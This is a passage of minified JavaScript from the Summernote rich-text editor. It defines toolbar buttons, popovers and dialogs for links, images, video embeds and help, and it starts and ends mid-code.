s="backColor"===i?"background-color":"color",a=n.closest(".note-color").find(".note-recent-color"),l=n.closest(".note-color").find(".note-current-color-button");a.css(s,r),l.attr("data-"+i,r),e.context.invoke("editor."+i,r)}}})]}).render()}),this.context.memo("button.ul",function(){return e.button({contents:e.ui.icon(e.options.icons.unorderedlist),tooltip:e.lang.lists.unordered+e.representShortcut("insertUnorderedList"),click:e.context.createInvokeHandler("editor.insertUnorderedList")}).render()}),this.context.memo("button.ol",function(){return e.button({contents:e.ui.icon(e.options.icons.orderedlist),tooltip:e.lang.lists.ordered+e.representShortcut("insertOrderedList"),click:e.context.createInvokeHandler("editor.insertOrderedList")}).render()});var s=this.button({contents:this.ui.icon(this.options.icons.alignLeft),tooltip:this.lang.paragraph.left+this.representShortcut("justifyLeft"),click:this.context.createInvokeHandler("editor.justifyLeft")}),a=this.button({contents:this.ui.icon(this.options.icons.alignCenter),tooltip:this.lang.paragraph.center+this.representShortcut("justifyCenter"),click:this.context.createInvokeHandler("editor.justifyCenter")}),l=this.button({contents:this.ui.icon(this.options.icons.alignRight),tooltip:this.lang.paragraph.right+this.representShortcut("justifyRight"),click:this.context.createInvokeHandler("editor.justifyRight")}),c=this.button({contents:this.ui.icon(this.options.icons.alignJustify),tooltip:this.lang.paragraph.justify+this.representShortcut("justifyFull"),click:this.context.createInvokeHandler("editor.justifyFull")}),d=this.button({contents:this.ui.icon(this.options.icons.outdent),tooltip:this.lang.paragraph.outdent+this.representShortcut("outdent"),click:this.context.createInvokeHandler("editor.outdent")}),u=this.button({contents:this.ui.icon(this.options.icons.indent),tooltip:this.lang.paragraph.indent+this.representShortcut("indent"),click:this.context.createInvokeHandler("editor.indent")});this.context.memo("button.justifyLeft",C.invoke(s,"render")),this.context.memo("button.justifyCenter",C.invoke(a,"render")),this.context.memo("button.justifyRight",C.invoke(l,"render")),this.context.memo("button.justifyFull",C.invoke(c,"render")),this.context.memo("button.outdent",C.invoke(d,"render")),this.context.memo("button.indent",C.invoke(u,"render")),this.context.memo("button.paragraph",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.alignLeft),e.options),tooltip:e.lang.paragraph.paragraph,data:{toggle:"dropdown"}}),e.ui.dropdown([e.ui.buttonGroup({className:"note-align",children:[s,a,l,c]}),e.ui.buttonGroup({className:"note-list",children:[d,u]})])]).render()}),this.context.memo("button.height",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.textHeight),e.options),tooltip:e.lang.font.height,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({items:e.options.lineHeights,checkClassName:e.options.icons.menuCheck,className:"dropdown-line-height",title:e.lang.font.height,click:e.context.createInvokeHandler("editor.lineHeight")})]).render()}),this.context.memo("button.table",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.table),e.options),tooltip:e.lang.table.table,data:{toggle:"dropdown"}}),e.ui.dropdown({title:e.lang.table.table,className:"note-table",items:['<div class="note-dimension-picker">','  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>','  <div class="note-dimension-picker-highlighted"/>','  <div class="note-dimension-picker-unhighlighted"/>',"</div>",'<div class="note-dimension-display">1 x 1</div>'].join("")})],{callback:function(t){t.find(".note-dimension-picker-mousecatcher").css({width:e.options.insertTableMaxSize.col+"em",height:e.options.insertTableMaxSize.row+"em"}).mousedown(e.context.createInvokeHandler("editor.insertTable")).on("mousemove",e.tableMoveHandler.bind(e))}}).render()}),this.context.memo("button.link",function(){return e.button({contents:e.ui.icon(e.options.icons.link),tooltip:e.lang.link.link+e.representShortcut("linkDialog.show"),click:e.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.picture",function(){return e.button({contents:e.ui.icon(e.options.icons.picture),tooltip:e.lang.image.image,click:e.context.createInvokeHandler("imageDialog.show")}).render()}),this.context.memo("button.video",function(){return e.button({contents:e.ui.icon(e.options.icons.video),tooltip:e.lang.video.video,click:e.context.createInvokeHandler("videoDialog.show")}).render()}),this.context.memo("button.hr",function(){return e.button({contents:e.ui.icon(e.options.icons.minus),tooltip:e.lang.hr.insert+e.representShortcut("insertHorizontalRule"),click:e.context.createInvokeHandler("editor.insertHorizontalRule")}).render()}),this.context.memo("button.fullscreen",function(){return e.button({className:"btn-fullscreen",contents:e.ui.icon(e.options.icons.arrowsAlt),tooltip:e.lang.options.fullscreen,click:e.context.createInvokeHandler("fullscreen.toggle")}).render()}),this.context.memo("button.codeview",function(){return e.button({className:"btn-codeview",contents:e.ui.icon(e.options.icons.code),tooltip:e.lang.options.codeview,click:e.context.createInvokeHandler("codeview.toggle")}).render()}),this.context.memo("button.redo",function(){return e.button({contents:e.ui.icon(e.options.icons.redo),tooltip:e.lang.history.redo+e.representShortcut("redo"),click:e.context.createInvokeHandler("editor.redo")}).render()}),this.context.memo("button.undo",function(){return e.button({contents:e.ui.icon(e.options.icons.undo),tooltip:e.lang.history.undo+e.representShortcut("undo"),click:e.context.createInvokeHandler("editor.undo")}).render()}),this.context.memo("button.help",function(){return e.button({contents:e.ui.icon(e.options.icons.question),tooltip:e.lang.options.help,click:e.context.createInvokeHandler("helpDialog.show")}).render()})},e.prototype.addImagePopoverButtons=function(){var t=this;this.context.memo("button.imageSize100",function(){return t.button({contents:'<span class="note-fontsize-10">100%</span>',tooltip:t.lang.image.resizeFull,click:t.context.createInvokeHandler("editor.resize","1")}).render()}),this.context.memo("button.imageSize50",function(){return t.button({contents:'<span class="note-fontsize-10">50%</span>',tooltip:t.lang.image.resizeHalf,click:t.context.createInvokeHandler("editor.resize","0.5")}).render()}),this.context.memo("button.imageSize25",function(){return t.button({contents:'<span class="note-fontsize-10">25%</span>',tooltip:t.lang.image.resizeQuarter,click:t.context.createInvokeHandler("editor.resize","0.25")}).render()}),this.context.memo("button.floatLeft",function(){return t.button({contents:t.ui.icon(t.options.icons.alignLeft),tooltip:t.lang.image.floatLeft,click:t.context.createInvokeHandler("editor.floatMe","left")}).render()}),this.context.memo("button.floatRight",function(){return t.button({contents:t.ui.icon(t.options.icons.alignRight),tooltip:t.lang.image.floatRight,click:t.context.createInvokeHandler("editor.floatMe","right")}).render()}),this.context.memo("button.floatNone",function(){return t.button({contents:t.ui.icon(t.options.icons.alignJustify),tooltip:t.lang.image.floatNone,click:t.context.createInvokeHandler("editor.floatMe","none")}).render()}),this.context.memo("button.removeMedia",function(){return t.button({contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.image.remove,click:t.context.createInvokeHandler("editor.removeMedia")}).render()})},e.prototype.addLinkPopoverButtons=function(){var t=this;this.context.memo("button.linkDialogShow",function(){return t.button({contents:t.ui.icon(t.options.icons.link),tooltip:t.lang.link.edit,click:t.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.unlink",function(){return t.button({contents:t.ui.icon(t.options.icons.unlink),tooltip:t.lang.link.unlink,click:t.context.createInvokeHandler("editor.unlink")}).render()})},e.prototype.addTablePopoverButtons=function(){var t=this;this.context.memo("button.addRowUp",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowAbove),tooltip:t.lang.table.addRowAbove,click:t.context.createInvokeHandler("editor.addRow","top")}).render()}),this.context.memo("button.addRowDown",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowBelow),tooltip:t.lang.table.addRowBelow,click:t.context.createInvokeHandler("editor.addRow","bottom")}).render()}),this.context.memo("button.addColLeft",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colBefore),tooltip:t.lang.table.addColLeft,click:t.context.createInvokeHandler("editor.addCol","left")}).render()}),this.context.memo("button.addColRight",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colAfter),tooltip:t.lang.table.addColRight,click:t.context.createInvokeHandler("editor.addCol","right")}).render()}),this.context.memo("button.deleteRow",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowRemove),tooltip:t.lang.table.delRow,click:t.context.createInvokeHandler("editor.deleteRow")}).render()}),this.context.memo("button.deleteCol",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colRemove),tooltip:t.lang.table.delCol,click:t.context.createInvokeHandler("editor.deleteCol")}).render()}),this.context.memo("button.deleteTable",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.table.delTable,click:t.context.createInvokeHandler("editor.deleteTable")}).render()})},e.prototype.build=function(e,o){for(var n=0,i=o.length;n<i;n++){for(var r=o[n],s=t.isArray(r)?r[0]:r,a=t.isArray(r)?1===r.length?[r[0]]:r[1]:[r],l=this.ui.buttonGroup({className:"note-"+s}).render(),c=0,d=a.length;c<d;c++){var u=this.context.memo("button."+a[c]);u&&l.append("function"==typeof u?u(this.context):u)}l.appendTo(e)}},e.prototype.updateCurrentStyle=function(e){var o=this,n=e||this.$toolbar,i=this.context.invoke("editor.currentStyle");if(this.updateBtnStates(n,{".note-btn-bold":function(){return"bold"===i["font-bold"]},".note-btn-italic":function(){return"italic"===i["font-italic"]},".note-btn-underline":function(){return"underline"===i["font-underline"]},".note-btn-subscript":function(){return"subscript"===i["font-subscript"]},".note-btn-superscript":function(){return"superscript"===i["font-superscript"]},".note-btn-strikethrough":function(){return"strikethrough"===i["font-strikethrough"]}}),i["font-family"]){var r=i["font-family"].split(",").map(function(t){return t.replace(/[\'\"]/g,"").replace(/\s+$/,"").replace(/^\s+/,"")}),s=N.find(r,this.isFontInstalled.bind(this));n.find(".dropdown-fontname a").each(function(e,o){var n=t(o),i=n.data("value")+""==s+"";n.toggleClass("checked",i)}),n.find(".note-current-fontname").text(s).css("font-family",s)}if(i["font-size"]){var a=i["font-size"];n.find(".dropdown-fontsize a").each(function(e,o){var n=t(o),i=n.data("value")+""==a+"";n.toggleClass("checked",i)}),n.find(".note-current-fontsize").text(a)}if(i["line-height"]){var l=i["line-height"];n.find(".dropdown-line-height li a").each(function(e,n){var i=t(n).data("value")+""==l+"";o.className=i?"checked":""})}},e.prototype.updateBtnStates=function(e,o){var n=this;t.each(o,function(t,o){n.ui.toggleBtnActive(e.find(t),o())})},e.prototype.tableMoveHandler=function(e){var o,n=t(e.target.parentNode),i=n.next(),r=n.find(".note-dimension-picker-mousecatcher"),s=n.find(".note-dimension-picker-highlighted"),a=n.find(".note-dimension-picker-unhighlighted");if(void 0===e.offsetX){var l=t(e.target).offset();o={x:e.pageX-l.left,y:e.pageY-l.top}}else o={x:e.offsetX,y:e.offsetY};var c=Math.ceil(o.x/18)||1,d=Math.ceil(o.y/18)||1;s.css({width:c+"em",height:d+"em"}),r.data("value",c+"x"+d),c>3&&c<this.options.insertTableMaxSize.col&&a.css({width:c+1+"em"}),d>3&&d<this.options.insertTableMaxSize.row&&a.css({height:d+1+"em"}),i.html(c+" x "+d)},e}(),te=function(){function e(e){this.context=e,this.$window=t(window),this.$document=t(document),this.ui=t.summernote.ui,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.followScroll=this.followScroll.bind(this)}return e.prototype.shouldInitialize=function(){return!this.options.airMode},e.prototype.initialize=function(){var t=this;this.options.toolbar=this.options.toolbar||[],this.options.toolbar.length?this.context.invoke("buttons.build",this.$toolbar,this.options.toolbar):this.$toolbar.hide(),this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer),this.changeContainer(!1),this.$note.on("summernote.keyup summernote.mouseup summernote.change",function(){t.context.invoke("buttons.updateCurrentStyle")}),this.context.invoke("buttons.updateCurrentStyle"),this.options.followingToolbar&&this.$window.on("scroll resize",this.followScroll)},e.prototype.destroy=function(){this.$toolbar.children().remove(),this.options.followingToolbar&&this.$window.off("scroll resize",this.followScroll)},e.prototype.followScroll=function(){if(this.$editor.hasClass("fullscreen"))return!1;var e=this.$toolbar.parent(".note-toolbar-wrapper"),o=this.$editor.outerHeight(),n=this.$editor.width(),i=this.$toolbar.height();e.css({height:i});var r=0;this.options.otherStaticBar&&(r=t(this.options.otherStaticBar).outerHeight());var s=this.$document.scrollTop(),a=this.$editor.offset().top;s>a-r&&s<a+o-r-i?this.$toolbar.css({position:"fixed",top:r,width:n}):this.$toolbar.css({position:"relative",top:0,width:"100%"})},e.prototype.changeContainer=function(t){t?this.$toolbar.prependTo(this.$editor):this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer)},e.prototype.updateFullscreen=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-fullscreen"),t),this.changeContainer(t)},e.prototype.updateCodeview=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-codeview"),t),t?this.deactivate():this.activate()},e.prototype.activate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!0)},e.prototype.deactivate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!1)},e}(),ee=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo,e.memo("help.linkDialog.show",this.options.langInfo.help["linkDialog.show"])}return e.prototype.initialize=function(){var e=this.options.dialogsInBody?this.$body:this.$editor,o=['<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.textToDisplay+"</label>",'<input class="note-link-text form-control note-form-control  note-input" type="text" />',"</div>",'<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.url+"</label>",'<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',"</div>",this.options.disableLinkTarget?"":t("<div/>").append(this.ui.checkbox({id:"sn-checkbox-open-in-new-window",text:this.lang.link.openInNewWindow,checked:!0}).render()).html()].join(""),n='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-link-btn" disabled>'+this.lang.link.insert+"</button>";this.$dialog=this.ui.dialog({className:"link-dialog",title:this.lang.link.insert,fade:this.options.dialogsFade,body:o,footer:n}).render().appendTo(e)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.toggleLinkBtn=function(t,e,o){this.ui.toggleBtn(t,e.val()&&o.val())},e.prototype.showLinkDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-link-text"),i=o.$dialog.find(".note-link-url"),r=o.$dialog.find(".note-link-btn"),s=o.$dialog.find("input[type=checkbox]");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),e.url||(e.url=e.text),n.val(e.text);var a=function(){o.toggleLinkBtn(r,n,i),e.text=n.val()};n.on("input",a).on("paste",function(){setTimeout(a,0)});var l=function(){o.toggleLinkBtn(r,n,i),e.text||n.val(i.val())};i.on("input",l).on("paste",function(){setTimeout(l,0)}).val(e.url),z.isSupportTouch||i.trigger("focus"),o.toggleLinkBtn(r,n,i),o.bindEnterKey(i,r),o.bindEnterKey(n,r);var c=void 0!==e.isNewWindow?e.isNewWindow:o.context.options.linkTargetBlank;s.prop("checked",c),r.one("click",function(r){r.preventDefault(),t.resolve({range:e.range,url:i.val(),text:n.val(),isNewWindow:s.is(":checked")}),o.ui.hideDialog(o.$dialog)})}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input paste keypress"),i.off("input paste keypress"),r.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)}).promise()},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getLinkInfo");this.context.invoke("editor.saveRange"),this.showLinkDialog(e).then(function(e){t.context.invoke("editor.restoreRange"),t.context.invoke("editor.createLink",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e}(),oe=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.change summernote.scroll":function(){o.update()},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.link)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-link-popover",callback:function(t){t.find(".popover-content,.note-popover-content").prepend('<span><a target="_blank"></a>&nbsp;</span>')}}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.link)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){if(this.context.invoke("editor.hasFocus")){var e=this.context.invoke("editor.createRange");if(e.isCollapsed()&&e.isOnAnchor()){var o=Nt.ancestor(e.sc,Nt.isAnchor),n=t(o).attr("href");this.$popover.find("a").attr("href",n).html(n);var i=Nt.posFromPlaceholder(o);this.$popover.css({display:"block",left:i.left,top:i.top})}else this.hide()}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ne=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e="";if(this.options.maximumImageFileSize){var o=Math.floor(Math.log(this.options.maximumImageFileSize)/Math.log(1024)),n=1*(this.options.maximumImageFileSize/Math.pow(1024,o)).toFixed(2)+" "+" KMGTP"[o]+"B";e="<small>"+this.lang.image.maximumFileSize+" : "+n+"</small>"}var i=['<div class="form-group note-form-group note-group-select-from-files">','<label class="note-form-label">'+this.lang.image.selectFromFiles+"</label>",'<input class="note-image-input note-form-control note-input" ',' type="file" name="files" accept="image/*" multiple="multiple" />',e,"</div>",'<div class="form-group note-group-image-url" style="overflow:auto;">','<label class="note-form-label">'+this.lang.image.url+"</label>",'<input class="note-image-url form-control note-form-control note-input ',' col-md-12" type="text" />',"</div>"].join(""),r='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-image-btn" disabled>'+this.lang.image.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.image.insert,fade:this.options.dialogsFade,body:i,footer:r}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showImageDialog().then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange"),"string"==typeof e?t.context.invoke("editor.insertImage",e):t.context.invoke("editor.insertImagesOrCallback",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showImageDialog=function(){var e=this;return t.Deferred(function(t){var o=e.$dialog.find(".note-image-input"),n=e.$dialog.find(".note-image-url"),i=e.$dialog.find(".note-image-btn");e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),o.replaceWith(o.clone().on("change",function(e){t.resolve(e.target.files||e.target.value)}).val("")),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),n.on("keyup paste",function(){var t=n.val();e.ui.toggleBtn(i,t)}).val(""),z.isSupportTouch||n.trigger("focus"),e.bindEnterKey(n,i)}),e.ui.onDialogHidden(e.$dialog,function(){o.off("change"),n.off("keyup paste keypress"),i.off("click"),"pending"===t.state()&&t.reject()}),e.ui.showDialog(e.$dialog)})},e}(),ie=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.editable=e.layoutInfo.editable[0],this.options=e.options,this.events={"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.image)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-image-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.image)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(Nt.isImg(t)){var e=Nt.posFromPlaceholder(t),o=Nt.posFromPlaceholder(this.editable);this.$popover.css({display:"block",left:this.options.popatmouse?event.pageX-20:e.left,top:this.options.popatmouse?event.pageY:Math.min(e.top,o.top)})}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),re=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.mousedown":function(t,e){o.update(e.target)},"summernote.keyup summernote.scroll summernote.change":function(){o.update()},"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.table)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-table-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.table),z.isFF&&document.execCommand("enableInlineTableEditing",!1,!1)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(this.context.isDisabled())return!1;var e=Nt.isCell(t);if(e){var o=Nt.posFromPlaceholder(t);this.$popover.css({display:"block",left:o.left,top:o.top})}else this.hide();return e},e.prototype.hide=function(){this.$popover.hide()},e}(),se=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<div class="form-group note-form-group row-fluid">','<label class="note-form-label">'+this.lang.video.url+' <small class="text-muted">'+this.lang.video.providers+"</small></label>",'<input class="note-video-url form-control note-form-control note-input" type="text" />',"</div>"].join(""),o='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-video-btn" disabled>'+this.lang.video.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.video.insert,fade:this.options.dialogsFade,body:e,footer:o}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.createVideoNode=function(e){var o,n=e.match(/^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/),i=e.match(/(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/),r=e.match(/\/\/vine\.co\/v\/([a-zA-Z0-9]+)/),s=e.match(/\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/),a=e.match(/.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/),l=e.match(/\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/),c=e.match(/\/\/v\.qq\.com.*?vid=(.+)/),d=e.match(/\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/),u=e.match(/^.+.(mp4|m4v)$/),h=e.match(/^.+.(ogg|ogv)$/),p=e.match(/^.+.(webm)$/);if(n&&11===n[1].length){var f=n[1];o=t("<iframe>").attr("frameborder",0).attr("src","//www.youtube.com/embed/"+f).attr("width","640").attr("height","360")}else if(i&&i[0].length)o=t("<iframe>").attr("frameborder",0).attr("src","https://instagram.com/p/"+i[1]+"/embed/").attr("width","612").attr("height","710").attr("scrolling","no").attr("allowtransparency","true");else if(r&&r[0].length)o=t("<iframe>").attr("frameborder",0).attr("src",r[0]+"/embed/simple").attr("width","600").attr("height","600").attr("class","vine-embed");else if(s&&s[3].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("src","//player.vimeo.com/video/"+s[3]).attr("width","640").attr("height","360");else if(a&&a[2].length)o=t("<iframe>").attr("frameborder",0).attr("src","//www.dailymotion.com/embed/video/"+a[2]).attr("width","640").attr("height","360");else if(l&&l[1].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","498").attr("width","510").attr("src","//player.youku.com/embed/"+l[1]);else if(c&&c[1].length||d&&d[2].length){var m=c&&c[1].length?c[1]:d[2];o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","310").attr("width","500").attr("src","http://v.qq.com/iframe/player.html?vid="+m+"&amp;auto=0")}else{if(!(u||h||p))return!1;o=t("<video controls>").attr("src",e).attr("width","640").attr("height","360")}return o.addClass("note-video-clip"),o[0]},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getSelectedText");this.context.invoke("editor.saveRange"),this.showVideoDialog(e).then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange");var o=t.createVideoNode(e);o&&t.context.invoke("editor.insertNode",o)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showVideoDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-video-url"),i=o.$dialog.find(".note-video-btn");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),n.val(e).on("input",function(){o.ui.toggleBtn(i,n.val())}),z.isSupportTouch||n.trigger("focus"),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),o.bindEnterKey(n,i)}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input"),i.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)})},e}(),ae=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<p class="text-center">','<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ','<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ','<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',"</p>"].join("");this.$dialog=this.ui.dialog({title:this.lang.options.help,fade:this.options.dialogsFade,body:this.createShortcutList(),footer:e,callback:function(t){t.find(".modal-body,.note-modal-body").css({"max-height":300,overflow:"scroll"})}}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.createShortcutList=function(){var e=this,o=this.options.keyMap[z.isMac?"mac":"pc"];return Object.keys(o).map(function(n){var i=o[n],r=t('<div><div class="help-list-item"/></div>');return r.append(t("<label><kbd>"+n+"</kdb></label>").css({width:180,"margin-right":10})).append(t("<span/>").html(e.context.memo("help."+i)||i)),r.html()}).join("")},e.prototype.showHelpDialog=function(){var e=this;return t.Deferred(function(t){e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),t.resolve()}),e.ui.showDialog(e.$dialog)}).promise()},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showHelpDialog().then(function(){t.context.invoke("editor.restoreRange")})},e}(),le=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.scroll":function(){o.update()},"summernote.disable summernote.change summernote.dialog.shown":function(){o.hide()},"summernote.focusout":function(t,e){z.isFF||e.relatedTarget&&Nt.ancestor(e.relatedTarget,C.eq(o.$popover[0]))||o.hide()}}}return e.prototype.shouldInitialize=function(){return this.options.airMode&&!N.isEmpty(this.options.popover.air)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-air-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content");this.context.invoke("buttons.build",t,this.options.popover.air)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){var t=this.context.invoke("editor.currentStyle");if(t.range&&!t.range.isCollapsed()){var e=N.last(t.range.getClientRects());if(e){var o=C.rect2bnd(e);this.$popover.css({display:"block",left:Math.max(o.left+o.width/2,0)-20,top:o.top+o.height}),this.context.invoke("buttons.updateCurrentStyle",this.$popover)}}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ce=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.$editable=e.layoutInfo.editable,this.options=e.options,this.hint=this.options.hint||[],this.direction=this.options.hintDirection||"bottom",this.hints=t.isArray(this.hint)?this.hint:[this.hint],this.events={"summernote.keyup":function(t,e){e.isDefaultPrevented()||o.handleKeyup(e)},"summernote.keydown":function(t,e){o.handleKeydown(e)},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return this.hints.length>0},e.prototype.initialize=function(){var e=this;this.lastWordRange=null,this.$popover=this.ui.popover({className:"note-hint-popover",hideArrow:!0,direction:""}).render().appendTo(this.options.container),this.$popover.hide(),this.$content=this.$popover.find(".popover-content,.note-popover-content"),this.$content.on("click",".note-hint-item",function(){e.$content.find(".active").removeClass("active"),t(e).addClass("active"),e.replace()})},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.selectItem=function(t){this.$content.find(".active").removeClass("active"),t.addClass("active"),this.$content[0].scrollTop=t[0].offsetTop-this.$content.innerHeight()/2},e.prototype.moveDown=function(){var t=this.$content.find(".note-hint-item.active"),e=t.next();if(e.length)this.selectItem(e);else{var o=t.parent().next();o.length||(o=this.$content.find(".note-hint-group").first()),this.selectItem(o.find(".note-hint-item").first())}},e.prototype.moveUp=function(){var t=this.$content.find(".note-hint-item.active"),e=t.prev();if(e.length)this.selectItem(e);else{var o=t.parent().prev();o.length||(o=this.$content.find(".note-hint-group").last()),this.selectItem(o.find(".note-hint-item").last())}},e.prototype.replace=function(){var t=this.$content.find(".note-hint-item.active");if(t.length){var 